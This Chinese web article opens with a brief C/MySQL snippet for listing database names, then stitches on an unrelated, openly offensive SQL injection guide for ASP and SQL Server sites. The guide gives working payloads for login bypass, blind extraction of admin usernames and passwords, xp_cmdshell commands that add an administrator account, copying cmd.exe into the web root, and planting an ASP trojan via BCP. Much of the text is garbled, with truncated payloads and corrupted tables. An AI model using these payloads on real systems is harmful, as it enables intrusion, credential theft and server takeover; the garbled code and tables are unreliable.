利用C语言获取全部数据库名称:简单高效的方法 (c 获取全部数据库名称)

数据库作为重要的数据存储和管理工具,使用广泛,涵盖了各个领域。C语言作为一种经典的程序设计语言,拥有高效、稳定等优秀性能,因此如何利用C语言获取全部数据库名称,具有相当操作价值。本文将介绍一种使用C语言获取全部数据库名称的简单高效方法。

一、为何使用C语言?

通过C语言编写程序,在获取数据库名称的过程中,能够实现高效稳定的操作。C语言具有以下几个特点:

1、高速度:C语言执行代码的速度非常快,可直接操作底层硬件,因此能够快速地获取数据库信息。

2、可移植性:C语言的高度可移植性,能够在多种不同操作系统和平台上执行,因此可用于跨平台的程序开发。

3、灵活性:C语言具有极高的灵活性。程序员可以根据自身的需要,使用C语言完成各种不同的任务,包括获取数据库名称等。

二、如何获取全部数据库名称?

获取全部数据库名称,需要了解数据库的相关知识,具体流程如下:

1、首先需要创建一个数据库的对象,使用该对象可以获取关于数据库的不同信息。

2、使用该对象的数据库操作语句,执行SELECT操作,从数据库中检索出所有已存在的数据的名称。

3、获得结果集,以方便对结果进行处理。

4、对结果进行遍历,提取出所有的数据名称,并将其保存在相关的列表或变量中。

三、具体实现方法

实现获取全部数据库名称的方法,可以参考以下代码:

“`

#include

#include

#include

int mn()

{

MYSQL *mysql;

MYSQL_RES *result;

MYSQL_ROW row;

mysql = mysql_init(NULL);

mysql_real_connect(mysql, “localhost”, “username”, “password”, “database”, 0, NULL, 0);

mysql_query(mysql, “SELECT SCHEMA_NAME FROM information_schema.SCHEMATA”);

result = mysql_store_result(mysql);

while ((row = mysql_fetch_row(result)) != NULL)

printf(“%s\n”, row[0]);

mysql_free_result(result);

mysql_close(mysql);

return 0;

}

“`

在该代码示例中,我们使用MySQL数据库对象,以获取关于该数据库的相关信息。然后使用SELECT操作检索出该数据库中存在的所有数据的名称,并将其保存在相关列表或变量中。通过循环遍历结果集,提取出所有的数据名称,并将其打印输出。

四、

相关问题拓展阅读:

如何获取数据库中表名、字段名、字段属性信息?

我找到并在ACCESS里测试通过了:

在ACCESS里,备注类型用Memo表示,所以改变字段的数据类型为备注的SQL为:

ALTER TABLE user ALTER COLUMN userinfo Memo

对了,如果user表有外键,而且你要修改的字段就是外键的话,你就不能修改啦!

下面给出修改为其它类型的SQL(表为tb,字段为aa):

ALTER TABLE tb ALTER COLUMN aa Byte 数字

ALTER TABLE tb ALTER COLUMN aa Long 数竖段渣字

ALTER TABLE tb ALTER COLUMN aa Short 数字余悄

ALTER TABLE tb ALTER COLUMN aa Single 数字

ALTER TABLE tb ALTER COLUMN aa Double 数字

ALTER TABLE tb ALTER COLUMN aa Currency 货币

ALTER TABLE tb ALTER COLUMN aa Char 文本

ALTER TABLE tb ALTER COLUMN aa Text(n) 文本,其中n表示字段大小

ALTER TABLE tb ALTER COLUMN aa Binary 二进制

ALTER TABLE tb ALTER COLUMN aa Counter 自动编燃氏号

ALTER TABLE tb ALTER COLUMN aa Memo 备注

ALTER TABLE tb ALTER COLUMN aa Time 日期/时间

无聊~~

如果是db2 的表名:

list tables

得到每一个表枯好的详细信息字段名,字段属性(类型,文字长度,备注)瞎州

describe table 具体的表名

平时我就这么获得没神铅这些信息

获取当前数据库表名:

select name from sysobjects where xtype=’U’and name’dtproperties’

获取当前表的字段弯烂雀名及属性:

select a.name, b.xtype,b.name

from syscolumns a

inner JOIN systypes b

ON a.xtype=b.xusertype

inner join sysobjects c ON

a.id=c.id AND c.xtype=’U’ AND c.name历丛’dtproperties’ where c.name = 表名

或:

SELECT

表名 = CASE a.colorder WHEN 1 THEN c.name ELSE ” END,

序 = a.colorder,

字段名 = a.name,

标识 = CASE COLUMNPROPERTY(a.id,a.name,’IsIdentity’) WHEN 1 THEN ‘√’ ELSE ” END,

主键 = CASE

WHEN EXISTS (

SELECT *

FROM sysobjects

WHERE xtype=’PK’ AND name IN (

SELECT name

FROM sysindexes

WHERE id=a.id AND indid IN (

SELECT indid

FROM sysindexkeys

WHERE id=a.id AND colid IN (

SELECT colid

FROM syscolumns

WHERE id=a.id AND name=a.name

)

)

)

)

THEN ‘√’

ELSE ”

END,

类型 = b.name,

字节数 = a.length,

长度 = COLUMNPROPERTY(a.id,a.name,’Precision’),

小数 = CASE ISNULL(COLUMNPROPERTY(a.id,a.name,’Scale’),0)

WHEN 0 THEN ”

ELSE CAST(COLUMNPROPERTY(a.id,a.name,’Scale’) AS VARCHAR)

END,

允许空 = CASE a.isnullable WHEN 1 THEN ‘埋早√’ ELSE ” END,

默认值 = ISNULL(d.,”),

说明 = ISNULL(e.,”)

FROM syscolumns a

LEFT JOIN systypes b ON a.xtype=b.xusertype

INNER JOIN sysobjects c ON a.id=c.id AND c.xtype=’U’ AND c.name’dtproperties’

LEFT JOIN syscomments d ON a.cdefault=d.id

LEFT JOIN sysproperties e ON a.id=e.id AND a.colid=e.allid

代码注入的特征

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。

据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%。在本文,以SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)

SQL注入攻击的总体思路是:

l 发现SQL注入位置;

l 判断后台数据库类型;

l 确定XP_CMDSHELL可执行情况

l 发现WEB虚拟目录

l 上传ASP木马;

l 得到管理员权限;

一、SQL注入漏洞的判断

一般来说,SQL注入一般存在于形如:

等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。

为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚,以下以

为例进行分析,YY可能是整型,也有可能是字符串。

1、整型参数的判断

当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。

select * from 表名 where 字段=YY’,abc.asp运行异常;

② and 1=1, abc.asp运行正常,而且与

运行结果相同;

③ and 1=2, abc.asp运行异常;

如果以上三步全面满足,旁游芦abc.asp中一定存在SQL注入漏洞。

2、字符串型参数的判断

当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=’YY’,所以可以用以下步骤测试SQL注入是否存在。

select * from 表名 where 字段=YY’,abc.asp运行异常;

② … 39;1’=’1′, abc.asp运行正常,而且与

运行结果相同;

③ … 39;1’=’2′, abc.asp运行异常;

如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

3、特运带殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。

①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

②UNICODE法:在IIS中,以磨枝UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;

二、区分数据库服务器类型

一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。

1、 利用数据库服务器的系统变量进行区分

SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:

and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名

② … db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;

2、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:

① and (select count(*) from sysobjects)>0

② and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则之一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

3、 MSSQL三个关键系统表

sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。

dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。

Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。

对象类型(xtype)。可以是下列对象类型中的一种:

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

L = 日志

FN = 标量函数

IF = 内嵌表函数

P = 存储过程

PK = PRIMARY KEY 约束(类型是 K)

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表

UQ = UNIQUE 约束(类型是 K)

V = 视图

X = 扩展存储过程

当xtype=’U’ and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。

用: select * from ChouYFD.dbo.sysobjects where xtype=’U’ and status>0 就可以列出库ChouYFD中所有的用户建立的表名。

syscolumns :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:

name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。

用: select * from ChouYFD.dbo.syscolumns where id=得到ChouYFD这个库中,表的ID是中的所有字段列表。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省

1、

… er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

2、

… me()>0 abc.asp执行异常但可以得到当前连接的数据库名。

3、

;exec master..xp_cmdshell net user aaa bbb /add– (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;—号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

4、

;exec master..xp_cmdshell net localgroup administrators aaa /add– 把刚刚增加的帐户aaa加到administrators组中。

5、

;backuup database 数据库名 to disk=’c:\inetpub\wwwroot\save.db’ 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

6、通过复制CMD创建UNICODE漏洞

… dbo.xp_cmdshell copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

四、发现WEB虚拟目录

只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。

一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;

先创建一个临时表:temp

… mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

接下来:

(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:

temp … ter.dbo.xp_availablemedia;–

我们可以通过查询temp的内容来获得驱动器列表及相关信息

(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:

into temp(i … dbo.xp_subdirs ‘c:\’;–

(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:

into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–

这样就可以成功的浏览到所有的目录(文件夹)列表:

如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:

into temp(id) exec … nbsp;’type c:\web\index.asp’;–

使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’

浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。

当然,如果xp_cmshell能够执行,我们可以用它来完成:

into temp(id)&nbs … cmdshell ‘dir c:\’;–

into temp(id)&n … p_cmdshell ‘dir c:\ *.asp /s/a’;–

通过xp_cmdshell我们可以看到所有想看到的,包括W3svc

into temp(id) exec master.dbo.xp_cmdshe … ub\AdminScripts\adsutil.vbs enum w3svc’

但是,如果不是SA权限,我们还可以使用

into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–

注意:

1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:

from temp;–

2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)

and (select top& … nbsp;TestDB.dbo.temp )>0 得到表TEMP中之一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则

and (select top 1 id from … ere id not in(‘xyz’))>0 得到表TEMP中第二条记录id字段的值。

五、上传ASP木马

所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:

1、利用WEB的远程管理功能

许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。

因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的发现WEB虚拟目录的复杂操作都可省略。

用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

A、 注入法:

从理论上说,认证网页中会有型如:

select * from admin where username=’XXX’ and password=’YYY’ 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。

如在用户名文本框内输入:abc’ or 1=1– 在密码框内输入:123 则SQL语句变成:

select * from admin where username=’abc’ or 1=1 and password=’123′ 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

B、猜解法:

基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。

l 猜解所有数据库名称

and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到之一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。

以下假设得到的数据库名是TestDB。

l 猜解数据库中用户名表的名称

猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。

读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。

当xtype=’U’ and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:

① and (select top 1 name from TestD … type=’U’ and status>0 )>0 得到之一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则

② and (select top 1 name from TestDB.dbo.sysobjects& … tatus>0 and name not in(‘xyz’))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。

根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。

l 猜解用户名字段及密码字段名称

admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。

猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断

and (select count(字段名) from TestDB.dbo.admin)>0 select count(字段名) from 表名语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。

读取法:基本的实现方法是

and (select … me(object_id(‘admin’),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id(‘admin’),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的之一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id(‘admin’),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

l 猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有:

ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

and (select top&n … nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是之一个用户名的长度。如:当输入

and (select top … e) from TestDB.dbo.admin)=8时abc.asp运行正常,则之一个用户名的长度为8

and (sel … ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入

and (sel … ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);

and (sel … ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为33);

猜到之一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。

简单法:猜用户名用

and (select top 1 … o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。

猜用户密码:

and (select top 1&nb … B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。

TestDB.dbo.admin set pwd=’ … where username=’www’;– ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)

用同样的方法当然可把密码改原来的值。

2、利用表内容导成文件功能

SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

命令行格式如下:

bcp select * from text..foo queryout c:\inetpub\wwwroot\runcommand.asp -c -S localhost -U sa -P foobar (‘S’参数为执行查询的服务器,’U’参数为用户名,’P’参数为密码,最终上传了一个runcommand.asp的木马)

六、得到系统的管理员权限

ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:

上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);

复制CMD.exe到scripts,人为制造UNICODE漏洞;

下载SAM文件,破解并获取OS的所有用户名密码;

等等,视系统的具体情况而定,可以采取不同的方法。

七、几个SQL-SERVER专用手段

1、利用xp_regread扩展存储过程修改注册表

另一个有用的内置存储过程是xp_regXXXX类的函数(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:

exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 确定什么样的会话连接在服务器可用。

exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’ 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

2、利用其他存储过程去改变服务器

xp_servicecontrol过程允许用户启动,停止服务。如:

(exec master..xp_servicecontrol ‘start’,’schedule’

exec master..xp_servicecontrol ‘start’,’server’)

Xp_availablemedia 显示机器上有用的驱动器

Xp_dirtree 允许获得一个目录树

Xp_enumdsn 列举服务器上的ODBC数据源

Xp_loginconfig 获取服务器安全信息

Xp_makecab 允许用户在服务器上创建一个压缩文件

Xp_ntsec_enumdomains 列举服务器可以进入的域

Xp_terminate_process 提供进程的进程ID,终止此进程

附件一:URLUnicode表(节选,主要是非字母的字符,RFC1738)

字符 特殊字符的含义 URL编码

# 用来标志特定的文档位置 %23

% 对特殊字符进行编码 %25

& 分隔不同的变量值对 %26

+ 在变量值中表示空格 %2B

/ 表示目录路径 %2F

\ %5C

= 用来连接键和值 %3D

? 表示查询字符串的开始 %3F

空格 %20

. 句号 %2E

: 冒号 %3A

附件二:ASCII表(节选)

Dec Hex Char Dec Hex Char

80 50 P

32 20 (space)Q

33 21 !R

S

35 23 #T

36 24 $Content$nbsp;U

37 25 %V

38 26 &W

39 27 ‘X

40 28 (Y

41 29 ) 90 5A Z

42 2A * 91 5B

43 2B + 92 5C \

44 2C , 93 5D >

45 2DE ^

46 2E . 95 5F _

47 2F /`

a

b

c

d

e

f

g

h

i

58 3A : 106 6A j

59 3B ; 107 6B k

60 3CE n

63 3F ? 111 6F o

p

64 40 @q

65 41 Ar

66 42 Bs

67 43 Ct

68 44 Du

69 45 Ev

70 46 Fw

71 47 Gx

72 48 Hy

73 49 I 122 7A z

74 4A J 123 7B {

75 4B K 124 7C |

76 4C L 125 7D }

77 4D M 126 7E ~

78 4E N 127 7F €

关于c 获取全部数据库名称的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。


数据运维技术 » 利用C语言获取全部数据库名称:简单高效的方法 (c 获取全部数据库名称)